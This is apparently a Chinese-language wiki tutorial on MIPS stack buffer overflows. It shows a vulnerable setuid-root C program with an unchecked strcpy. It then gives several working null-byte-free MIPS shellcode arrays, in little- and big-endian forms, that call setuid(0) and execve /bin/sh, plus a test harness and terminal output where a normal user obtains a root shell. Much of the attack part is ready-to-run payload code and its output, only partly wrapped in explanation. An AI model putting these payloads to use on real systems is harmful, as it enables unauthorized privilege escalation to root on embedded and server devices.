MIPS 缓冲区溢出

来自Jack's Lab
2014年11月11日 (二) 12:55Comcat (讨论 | 贡献)的版本

(差异) ←上一版本 | 最后版本 (差异) | 下一版本→ (差异)
跳转到: 导航, 搜索


有这样一个可执行程序 vic,它的属性为:

 -rwsr-xr-x 1 root comcat vic

它的拥有者是root,普通用户可以执行且执行时具有拥有者的权限(如系统中的 /usr/bin/passwd)。假设它的设计者把代码写成如下:

     #include <stdio.h>

     int main(int argc, char *argv[])
     {
         char buf[100];
         if(argc>1)
             strcpy(buf, argv[1]);
         return 0;
     }


其在main函数的栈上开辟了一个100字节的缓冲区。在 Linux 下,当一个函数调用其他函数时(非leaf函数)会将返回地址保存在栈上,而且就在buf上面不远处!

如果我们将下面这段代码改造,编译后,获取其机器码,然后转成字符串,且将该字符串的始地址作为参数传给 vic 之 main(),则其会将保存在栈上的返回地址覆盖成该字符串的起始处,那么当main函数返回时,将跳到我们构造的代码处,获取到一个具有root权限的shell:

     char *name[2];
     setuid(0);
     name[0] = "/bin/sh";
     name[1] = NULL;
     execve(name[0], name, NULL);


其在 MIPS 上对应的机器机器码为:

4002e0:   00842026    xor a0,a0,a0
4002e4:   24020fb7    li  v0,4023
4002e8:   0000000c    syscall
4002ec:   3c086e69    lui t0,0x6e69
4002f0:   3508622f    ori t0,t0,0x622f
4002f4:   3c090068    lui t1,0x68
4002f8:   3529732f    ori t1,t1,0x732f
4002fc:   afa80000    sw  t0,0(sp)
400300:   afa90004    sw  t1,4(sp)
400304:   afbd0008    sw  sp,8(sp)
400308:   afa0000c    sw  zero,12(sp)
40030c:   03a02021    move    a0,sp
400310:   23a50008    addi    a1,sp,8
400314:   00003021    move    a2,zero
400318:   24020fab    li  v0,4011
40031c:   0000000c    syscall


则:

int shellcode_mips[]=
{
     0x00842026,
     0x24020fb7,
     0x0000000c,
     0x3c086e69,
     0x3508622f,
     0x3c090068,
     0x3529732f,
     0xafa80000,
     0xafa90004,
     0xafbd0008,
     0xafa0000c,
     0x03a02021,
     0x23a50008,
     0x00003021,
     0x24020fab,
     0x0000000c
};


上面的思路在 x86 这类 CISC 上没有任何问题,因 x86 上对指令的编码极其紧凑,但对 MIPS 这类 RISC 处理器则有些困难,因为我们要构造一个字符串通过命令行参数传给 vic 之 main () ,而字符串之结尾是为一个 "0x00" (NULL) ,这个字节在 MIPS 的指令编码里随处可见,如 MIPS 上触发 system call 之 syscall 指令编码为 0x0000000c,其放在一个字符串里就是3个0x00,这个是在 MIPS 上构造 shellcode 之困难。


鉴于 MIPS 本身的设计,在其上构造 shellcode 需要死更多的脑细胞:

char shellcode[] = {
                      "\x50\x73\x06\x24" /*     li      a2,0x7350             */
                      "\xff\xff\xd0\x04" /* LB: bltzal  a2,LB                 */
                      "\x50\x73\x0f\x24" /*     li      $t7,0x7350 (nop)      */
                      "\xff\xff\x06\x28" /*     slti    a2, $0,-1             */
                      "\xe0\xff\xbd\x27" /*     addiu   sp,sp,-32             */
                      "\xd7\xff\x0f\x24" /*     li      t7,-41                */
                      "\x27\x78\xe0\x01" /*     nor     t7,t7,zero            */
                      "\x21\x20\xef\x03" /*     addu    a0,ra,t7              */
                      "\xe8\xff\xa4\xaf" /*     sw      a0,-24(sp)            */
                      "\xec\xff\xa0\xaf" /*     sw      zero,-20(sp)          */
                      "\xe8\xff\xa5\x23" /*     addi    a1,sp,-24             */
                      "\xab\x0f\x02\x24" /*     li      v0,4011               */
                      "\x0c\x01\x01\x01" /*     syscall                       */
                      "/bin/sh"
};


构造的基本思想就是避免指令编码里出现 0x00,如 syscall 的编码一般为 0x0000000c,据 MIPS 规范,其编码的有效位为高 6 位(皆为 0)和低 6 位(为 0xc)中间 20 位是留给软件的 code 位,硬件不对这 20 位进行解码,因此就可以将其编码为 0x0101010c 或者 0x034748cc 皆可避免 0x00。

上面这段代码来自一个 Email 为:vaicebine at gmail dot com 兄弟,参考:http://www.milw0rm.com/shellcode/6265

此为小端 MIPS 所用,大端 MIPS 为:

char shellcode[] = {
                      "\x24\x06\x73\x50" /*     li      a2,0x7350             */
                      "\x04\xd0\xff\xff" /* LB: bltzal  a2,LB                 */
                      "\x24\x0f\x73\x50" /*     li      $t7,0x7350 (nop)      */
                      "\x28\x06\xff\xff" /*     slti    a2, $0,-1             */
                      "\x27\xbd\xff\xe0" /*     addiu   sp,sp,-32             */
                      "\x24\x0f\xff\xd7" /*     li      t7,-41                */
                      "\x01\xe0\x78\x27" /*     nor     t7,t7,zero            */
                      "\x03\xef\x20\x21" /*     addu    a0,ra,t7              */
                      "\xaf\xa4\xff\xe8" /*     sw      a0,-24(sp)            */
                      "\xaf\xa0\xff\xec" /*     sw      zero,-20(sp)          */
                      "\x23\xa5\xff\xe8" /*     addi    a1,sp,-24             */
                      "\x24\x02\x0f\xab" /*     li      v0,4011               */
                      "\x01\x01\x01\x0c" /*     syscall                       */
                      "/bin/sh"
};


上述大端 shellcode 在 NEC EMMA3p 和 Cavium Octeon cn5800 上测试通过:

test@localhost:/home/test> cat cool.c
#include <stdio.h>

char shellcode[] = {
                    "\x30\x04\xff\xff" /*    andi    a0, zero, 0xffff    */
                    "\x30\x05\xff\xff" /*    andi    a1, zero, 0xffff    */
                    "\x34\x02\x0f\xe6" /*     li        v0, 0xfe6            */
                    "\x03\x49\x48\xcc" /*     syscall    0xd2523                */
                    "\x24\x06\x73\x50" /*     li      a2,0x7350             */
                    "\x04\xd0\xff\xff" /* LB: bltzal  a2,LB                 */
                    "\x24\x0f\x73\x50" /*     li      $t7,0x7350 (nop)      */
                    "\x28\x06\xff\xff" /*     slti    a2, $0,-1             */
                    "\x27\xbd\xff\xe0" /*     addiu   sp,sp,-32             */
                    "\x24\x0f\xff\xd7" /*     li      t7,-41                */
                    "\x01\xe0\x78\x27" /*     nor     t7,t7,zero            */   
                    "\x03\xef\x20\x21" /*     addu    a0,ra,t7              */
                    "\xaf\xa4\xff\xe8" /*     sw      a0,-24(sp)            */
                    "\xaf\xa0\xff\xec" /*     sw      zero,-20(sp)          */
                    "\x23\xa5\xff\xe8" /*     addi    a1,sp,-24             */       
                    "\x24\x02\x0f\xab" /*     li      v0,4011               */
                    "\x01\x01\x01\x0c" /*     syscall                       */
                    "/bin/sh"
};

int main(int argc, char *argv[])
{
    void (*p)(void);
    p = shellcode;
    printf("shellcode size %d\n", sizeof(shellcode));
    printf("shellcode addr 0x%08x\n", shellcode);
    p();
    return 0;
}
test@localhost:/home/test> ls -lh
total 8.0K
-rwsr-xr-x 1 root test 5.9K Sep  1  2009 cool

test@localhost:/home/test> id
uid=500(test) gid=500(test) groups=500(test)

test@localhost:/home/test> ./cool
shellcode size 76
shellcode addr 0x10010970

sh-3.2# id
uid=0(root) gid=500(test) groups=500(test)

sh-3.2# cat /proc/cpuinfo
system type     : EBT5800 (CN5860p2.3-800-NSP)
processor       : 0
cpu model       : Cavium Octeon V0.11
BogoMIPS        : 1601.82
wait instruction    : yes
microsecond timers  : yes
tlb_entries     : 64
extra interrupt vector  : yes
hardware watchpoint : yes
ASEs implemented    :
shadow register sets    : 1
core            : 0
VCED exceptions     : not available
VCEI exceptions     : not available

processor       : 1
cpu model       : Cavium Octeon V0.11
BogoMIPS        : 1601.82
wait instruction    : yes
microsecond timers  : yes
tlb_entries     : 64
extra interrupt vector  : yes
hardware watchpoint : yes
ASEs implemented    :
shadow register sets    : 1
core            : 0
VCED exceptions     : not available
VCEI exceptions     : not available
......
......
......
processor       : 15
cpu model       : Cavium Octeon V0.11
BogoMIPS        : 1601.82
wait instruction    : yes
microsecond timers  : yes
tlb_entries     : 64
extra interrupt vector  : yes
hardware watchpoint : yes
ASEs implemented    :
shadow register sets    : 1
core            : 0
VCED exceptions     : not available
VCEI exceptions     : not available


在 RMI XLR732 上得到 "Segmentation fault",经查发现是因为 XLR732 的内核加了一个 fast system call 的特性,其使用 syscall 指令之中间 20 位 code 域来加速 system call 的处理,因此类似 0x0101010c 的编码会让内核进入一个不可用的入口地址处导致内存保护异常

此外,还有一可用 shellcode 为:

char shellcode2[] = {
                      "\x30\x04\xff\xff" /*    andi    a0, zero, 0xffff    */
                      "\x30\x05\xff\xff" /*    andi    a1, zero, 0xffff    */
                      "\x34\x02\x0f\xe6" /*     li        v0, 0xfe6            */
                      "\x03\x49\x48\xcc" /*     syscall    0xd2523                */
                      "\x04\x10\xff\xff" /* LB:    bltzal    zero, LB        */
                      "\x24\x02\x0f\xab" /*    li        v0, 4011            */
                      "\x20\x46\xf0\x55" /*    addi    a2, v0, -4011        */
                      "\x23\xff\x06\x66" /*    addi    ra, ra, 1638        */
                      "\x23\xec\xf9\xc2" /*    addi    t0, ra, -1598        */
                      "\x23\xbd\x06\x66" /*    addi    sp, sp, 1638        */
                      "\xaf\xac\xf9\x9a" /*    sw        t0, -1638(sp)        */
                      "\xaf\xa6\xf9\x9e" /*    sw        a2, -1634(sp)        */
                      "\x23\xbd\xf9\x9a" /*    addi    sp, sp, -1638        */
                      "\x01\x80\x20\x21" /*    move    a0, t0                */
                      "\x03\xa0\x28\x21" /*    move    a1, sp                */   
                      "\x03\x44\xcd\xcc" /*    syscall    0xd1337                */
                      "/bin/sh"
};

这段代码来自:http://www.milw0rm.com/shellcode/1306

在 NEC EMMA3p 和 Cavium Octeon cn5800 上测试也通过。













个人工具
名字空间

变换
操作
导航
工具箱